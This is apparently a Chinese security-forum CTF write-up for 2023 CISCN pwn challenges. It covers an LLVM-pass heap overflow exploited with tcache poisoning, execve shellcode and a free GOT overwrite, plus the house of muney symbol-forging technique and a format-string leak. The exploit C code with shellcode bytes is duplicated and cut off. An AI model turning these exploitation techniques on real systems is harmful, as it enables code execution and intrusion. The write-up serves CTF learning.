首页
社区
课程
招聘
[原创]2023CISCN—华中赛区—pwn wp
发表于: 2023-7-15 10:55 17511

[原创]2023CISCN—华中赛区—pwn wp

2023-7-15 10:55
17511

之前写过几篇llvm的分析和题解,感觉这次ciscn还得出llvm,不过这个llvm相对之前的还是比较简单的,漏洞点也是白给,利用也较为简单。(这里我用的是ubuntu20。)

先简单贴一下程序大致流程
图片描述

图片描述
图片描述

图片描述

图片描述
图片描述

图片描述

图片描述
图片描述
代码大概就是这样,刚开始做的时候已经把一些llvm函数忘得差不多了,又看winmt的博客补了一下。

add函数:申请一个堆块

del函数:释放一个堆块

edit函数:对一个堆块进行edit,存在溢出

alloc函数:申请一块rwx内存,地址0x10000

editalloc函数:像0x10000内存写入一个堆地址存放的数据指向的地址(感觉没啥用)

1.申请几个连续的大小相同的堆块,释放中间两个,修改上边的堆块的fd指针为0x10000。

2.申请两个堆块,其中第二个堆块指向0x10000,调用alloc函数将0x10000设置为rwx,向其中写入shellcode的字节码,注意顺序即可。

3.再释放两个相邻堆块,改堆块fd为free_got,申请回free_got,将其改为0x10000。

4.退出llvm.so时执行free函数,执行我们的shellcode来get shell。

1、我在做这个题的时候,刚开始用clang-15编译,然后用opt-10执行一直报错,这里clang应该与opt的版本对应,太久没看过llvm了。

2、在程序执行的时候,首先跑llvm.so,在跑完退出时会调用opt里的函数,这里opt是没有开pie的,所以改opt里的free_got函数。

其实我感觉llvm难点就是调试,这里首先给出几个命令。
test.c编译为test.ll

gdb动态调试

首先跑完一大堆的llvm函数,然后用llvm.so加偏移下断点
图片描述
这里我直接用exp跑。

Alloc函数执行
图片描述
将shellcode写入0x10000
图片描述
链入free_got
图片描述
修改free_got为0x10000
图片描述
执行exit
图片描述
跑掉一大堆其他plt,进入free_plt
图片描述

成功执行shellcode
图片描述
图片描述

图片描述
前边一大堆的逆向,需要知道http数据包如何构造,这个跟上海磐石杯那个hp题挺像的,具体逆向不再分析,主要说一下house of muney这个方法。

当堆管理器分配超大内存时,会调用mmap函数申请内存,申请的内存一般位于libc.so.6内存的低地址处。如果可以修改mmap申请的这段内存的size,那么我们再次申请回来就可以覆盖掉libc.so.6的符号表,哈希表等空间并进行改写伪造,在解析函数实际地址的时候就能控制其解析为任意地址,进而控制程序执行流。

这里先给出exp再进行说明:

house of muney的关键在于伪造几个值:

bitmask_word
bucket
hasharr
target symbol ->st_value
调试一下看看这几个值在哪里(注意这里需要用到glibc源码调试,这里使用2.31)
图片描述
需要先跑过一次while(++i < n)
图片描述
当源码走到这里时,记录一下bitmask_word的值
图片描述
走到这里,查看一下bucket的值
图片描述
走到这里查看一下hasharr。
图片描述
走到这里会有sym符号表结构的一些值
图片描述
图片描述
这里需要将st_name改成strtab与exit的偏移,st_value改成system的st_value。

编写一个c程序执行system看一下值(这个c程序不能开pie和full relro)
图片描述
图片描述
是0x52290 。

再来找一下st_name,这里有几个可以选择,试试哪个通就行
图片描述
全部找到后就可以edit伪造了。

最后执行exit("/bin/sh");就能get shell
图片描述

在main函数中有一个跳转,看一下off_5060位置
图片描述
图片描述
可以看到我们输入的shell命令不同,会跳转到不同函数,这跟初赛的shellwego类似。

漏洞点位于echo里的格式化字符串漏洞
图片描述
由于该shell是循环输入,所以可以循环利用这个格式化字符串漏洞泄露libc和stack,然后劫持libc_start_main为onegadget即可。

图片描述

#include<stdio.h>
int Add(int size){
  
}
  
int Del(int index){
  
}
int Edit(int index,int offset,int content){
  
}
  
int Alloc(){
  
}
int EditAlloc(int index,int offset){
  
}
int Hello(){
  
    Add(0x1000);//0
    Add(0x1000);//1
    Add(0x1000);//2
//\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05
    Add(176);//3
    Add(176);//4
    Add(176);//5
    Add(176);//6
  
    Add(176);//7
    Add(176);//8
    Add(176);//9
    Add(176);//10
    Del(5);
    Del(4);
    Edit(3,48,65536);
    Alloc();
    Add(176);//4
    Add(176);//5-->0x10000
    Edit(5,0,0x56f63148); 
    Edit(5,1,0x622fbf48); 
    Edit(5,2,0x2f2f6e69); 
    Edit(5,3,0x54576873); 
    Edit(5,4,0x583b6a5f); 
    Edit(5,5,0x050f99); 
    // Edit(5,5,0x050f99);
    Del(9);
    Del(8);
    Edit(7,48,0x78b108);
    Add(176);//8
    Add(176);//9--->free_got
    Edit(9,0,0x10000);
    Edit(9,1,0);
  
  
    return 0;
     
}
#include<stdio.h>
int Add(int size){
  
}
  
int Del(int index){
  
}
int Edit(int index,int offset,int content){
  
}
  
int Alloc(){
  
}
int EditAlloc(int index,int offset){
  
}
int Hello(){
  
    Add(0x1000);//0
    Add(0x1000);//1
    Add(0x1000);//2
//\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05
    Add(176);//3
    Add(176);//4
    Add(176);//5
    Add(176);//6
  
    Add(176);//7
    Add(176);//8
    Add(176);//9
    Add(176);//10
    Del(5);
    Del(4);
    Edit(3,48,65536);
    Alloc();
    Add(176);//4
    Add(176);//5-->0x10000
    Edit(5,0,0x56f63148); 
    Edit(5,1,0x622fbf48); 
    Edit(5,2,0x2f2f6e69); 
    Edit(5,3,0x54576873); 
    Edit(5,4,0x583b6a5f); 
    Edit(5,5,0x050f99); 
    // Edit(5,5,0x050f99);
    Del(9);
    Del(8);
    Edit(7,48,0x78b108);
    Add(176);//8

[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!

收藏
免费 2
支持
分享
最新回复 (1)
雪    币: 26245
活跃值: (63297)
能力值: (RANK:135 )
在线值:
发帖
回帖
粉丝
2
程序附件请上传论坛一份,谢谢!
2023-7-15 11:01
1
游客
登录 | 注册 方可回帖
返回
//